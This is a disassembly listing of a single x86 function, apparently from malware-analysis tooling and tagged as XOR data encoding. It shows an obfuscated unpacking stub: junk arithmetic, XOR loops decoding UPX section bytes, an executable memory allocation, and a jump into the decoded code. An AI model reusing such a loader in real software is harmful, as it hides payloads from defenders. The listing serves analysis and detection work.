Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfeccfe1c
mov eax, edi
mov edi, eax
mov edi, 0x22d2d060
popal
add eax, eax
sub edi, eax
inc edi
mov ecx, 0
mov eax, edi
add edx, edx
not esi
mov ebx, eax
sub edx, esi
add esi, 0xa6fcf029
add esi, 0x45afe279
mov edi, ebx
add edx, 0xd618b53e
or esi, esi
inc ecx
not edx
mov edx, 0x7707713f
or esi, esi
cmp ecx, 0x1008b44
jne 0x47afd2
add edx, 0xad91225b
inc esi
mov esi, edx
cmp ecx, 0x1008b44
je 0x47b020
mov ebx, 0
mov dword [ebx], eax
add edx, 0x923fbc6a
or edx, esi
dec edx
mov edi, 0xb8e738ea
sub edi, eax
mov esi, 0x47ada2
not eax
mov eax, edx
mov edi, 0x47af96
not eax
add eax, 0xc030ce80
sub ecx, 0x9bfedcfe
mov ebx, dword [esi]
sub edx, ecx
add edx, eax
or ecx, eax
and ebx, 0xff
add ecx, edx
add ecx, ecx
dec edx
xor dword [edi], ebx
add ecx, 1
inc edx
sub edx, 0x89f873d4
inc edi
add edx, eax
sub ecx, 0x3af79810
add esi, 1
sub ecx, 1
mov eax, 0xa4079ff9
dec ecx
cmp edi, entry0
jl 0x47b04c
inc edx
add edx, edx
or edx, edx
inc ecx
dec ecx
mov ecx, eax
dec esi
add esi, 0x49e948b7
mov edx, 0x47af9a
mov ecx, 0xcbdb2799
or edi, esi
add edi, 0x8da5a7f3
mov edx, dword [edx]
sub ebx, 0xc231d7a1
dec ebx
mov ecx, esi
mov edx, dword [edx]
sub ebx, ecx
not ecx
add edi, 0x7ded7afa
sub esp, 4
mov dword [esp], edx
sub edi, 0xfb4abdf9
mov ebx, esi
mov edx, 0x47af96
sub ebx, ecx
add esi, 0x9b5ffd74
not esi
mov edx, dword [edx]
mov ecx, 0xd017a07e
not edi
not edi
mov edx, dword [edx]
sub esi, ecx
or edi, ebx
push 0x47af9e
add ecx, ecx
sub ecx, 0xbb0b9053
and esi, ebx
call edx
and esi, esi
add edi, esi
and edi, edi
pop edx
sub ecx, 0x792c282b
or ebx, ecx
not esi
push 0x47afab
add esi, edi
mov edi, ecx
sub esi, ecx
push eax
add edi, edi
add ecx, 0x6d8667a9
call edx
sub ebx, 0xea3c7132
sub esi, 1
sub esi, 0x8da5bb6b
push 0x40
dec ecx
add esi, 0x22d45d6c
push 0x3000
mov esi, edi
sub ebx, 1
sub ebx, 0xaa4743e0
push 0x20000040
mov ebx, 0x235aa0c3
add ebx, 1
push 0
dec ecx
add edi, ecx
add ecx, 1
call eax
or esi, ebx
add ecx, 1
or ecx, esi
add eax, 0x1fffff7d
sub ebx, edi
or esi, esi
inc ebx
mov edx, 0x37868b30
sub ecx, ebx
sub edi, 0x19f34e81
mov ebx, esi
mov dword [eax], edx
sub edi, ebx
or edi, esi
not esi
mov edx, dword [eax]
add edi, 0x1bfd7ad6
sub ecx, 0xa91b56af
cmp edx, 0x37868b30
je 0x47b1ce
mov ecx, 0
mov bl, byte [ecx]
inc esi
add edi, 0x8410eac8
add esi, ecx
not esi
add eax, 0xcb9df320
dec eax
inc edi
mov ecx, section.UPX1
and edi, eax
sub edi, 1
mov edx, 0x47ada1
or eax, edi
mov eax, edi
and eax, eax
mov esi, 0
not edi
mov edi, 0x85af09c9
sub edi, 0xc370841a
mov ebx, 0x47ada2
mov eax, edi
add eax, edi
inc edi
lea ebx, [esi + ebx]
or eax, eax
add eax, eax
mov ebx, dword [ebx]
dec eax
or edi, eax
add eax, eax
and ebx, 0xff
or edi, edi
and edi, eax
add esi, 1
mov edi, 0x1381580d
or edi, eax
cmp esi, 0x1f4
jne 0x47b247
mov esi, 0
sub edi, 0xe613b68e
dec edi
add edi, 1
sub eax, edi
sub eax, 0x46ed723e
xor dword [ecx], ebx
and eax, eax
and eax, eax
add edi, 0xa050580f
add ecx, 2
sub edi, 0x5c7ba47b
mov edi, 0x36912869
cmp ecx, edx
jl 0x47b20b
sub eax, 0xedb3603b
dec edi
add edi, edi
not eax
add eax, 0x84481096
mov eax, section.UPX1
dec edi
dec ebx
mov esi, section.UPX1
sub edi, 0x1f565e48
add edi, 0x8e0a9349
mov ecx, 0x47ada1
sub ebx, edi
or edi, ebx
add edi, edi
mov edx, 0
add ebx, edi
add edi, 0x8c3a152b
sub ebx, 1
mov dl, byte [esi]
dec edi
add ebx, ebx
mov byte [eax], dl
sub ebx, 0x99527e99
sub edi, 0x4ff05619
inc eax
sub edi, 0x8ab5d9a1
sub ebx, 0x23e94f53
add edi, edi
add esi, 2
add ebx, 0xb9f3f600
dec ebx
cmp esi, ecx
jle 0x47b2c8
sub ebx, 0x6eef9670
add ebx, edi
add edi, 1
sub eax, 0xad88c0d0
dec edi
push 0x45e6a0
sub edi, eax
add eax, 0x7f64f6f9
ret